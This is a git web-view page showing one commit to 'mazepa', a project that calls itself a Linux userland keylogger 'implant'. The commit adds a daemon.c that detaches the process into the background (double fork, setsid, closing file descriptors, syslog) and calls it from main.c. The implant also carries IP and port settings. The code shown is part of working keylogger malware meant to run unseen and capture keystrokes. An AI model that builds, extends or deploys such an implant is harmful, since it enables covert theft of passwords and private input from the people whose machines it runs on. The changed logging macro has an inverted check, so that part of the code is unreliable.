mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit ffde175546dc1d0c444531a359806e49d8aec038
parent e6619a810e912647053b4adee0ddea3f80b02cb7
Author: winds0r <[email protected]>
Date: Fri, 29 Sep 2023 19:18:58 +0200

feat(implant): adding daemonization of process still need to test things out and see how this can be improved. taken from: https://stackoverflow.com/a/17955149

Diffstat:
Mimplant/Makefile | 2+-
Mimplant/includes/implant.h | 15+++++++++++----
Aimplant/sources/daemon.c | 48++++++++++++++++++++++++++++++++++++++++++++++++
Mimplant/sources/main.c | 2++

4 files changed, 62 insertions(+), 5 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -30,7 +30,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= opt.c utils.c keyboard.c logger.c net.c
+SRC 		 	= opt.c utils.c keyboard.c logger.c net.c daemon.c
 
 ########################
 #### COMPILATION #######
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -49,12 +49,16 @@ typedef struct implant_s {
 #define SUCCESSFUL 1
 #define ERROR 0
 
-#include <stdio.h> /* necessary for the dprintf in the macro */
+#include <stdio.h> /* necessary for the snprintf in the macro */
+#include <syslog.h>
 
 #ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...) \
-    do { \
-        dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
+#define DEBUG_LOG(s, ...)                               \
+    do {                                                \
+        char data[256] = {0};                           \
+        if (0 < snprintf(data, 255, s, ##__VA_ARGS__))  \
+            _exit(1);                                   \
+        syslog(LOG_NOTICE, data);                       \
     } while (0)
 #endif
 
@@ -76,6 +80,9 @@ void keylog(implant_t *, int);
 // keyboard.c
 void fetch_available_keyboards(implant_t *);
 
+// daemon.c
+void daemon_setup(void);
+
 // utils.c
 int read_file(char const *, char **);
 size_t get_array_size(uint8_t **);
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -0,0 +1,48 @@
+
+#include "implant.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <signal.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+
+void daemon_setup(void) {
+
+    pid_t pid;
+
+    /* Fork off the parent process */
+    pid = fork();
+
+    if (pid < 0)
+        exit(EXIT_FAILURE);
+
+    if (pid > 0)
+        exit(EXIT_SUCCESS);
+
+    if (setsid() < 0)
+        exit(EXIT_FAILURE);
+
+    /* FIXME: implement decent signal handler here */
+    signal(SIGCHLD, SIG_IGN);
+    signal(SIGHUP, SIG_IGN);
+
+    pid = fork();
+    if (pid < 0)
+        exit(EXIT_FAILURE);
+
+    if (pid > 0)
+        exit(EXIT_SUCCESS);
+
+    umask(0);
+    chdir("/tmp");
+
+    for (long x = sysconf(_SC_OPEN_MAX); x>=0; x--)
+    {
+        close((int)x);
+    }
+
+    openlog("mazepa", LOG_PID, LOG_DAEMON);
+
+}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -17,6 +17,8 @@ int main(int ac, char **av) {
     if (ERROR == parse_user_input(ac, av, &instance))
         return 1;
 
+    daemon_setup();
+
 #ifdef DEBUG
     DEBUG_LOG(
         "[*] Implant settings:\n\tIP:%s\n\tPort:%d",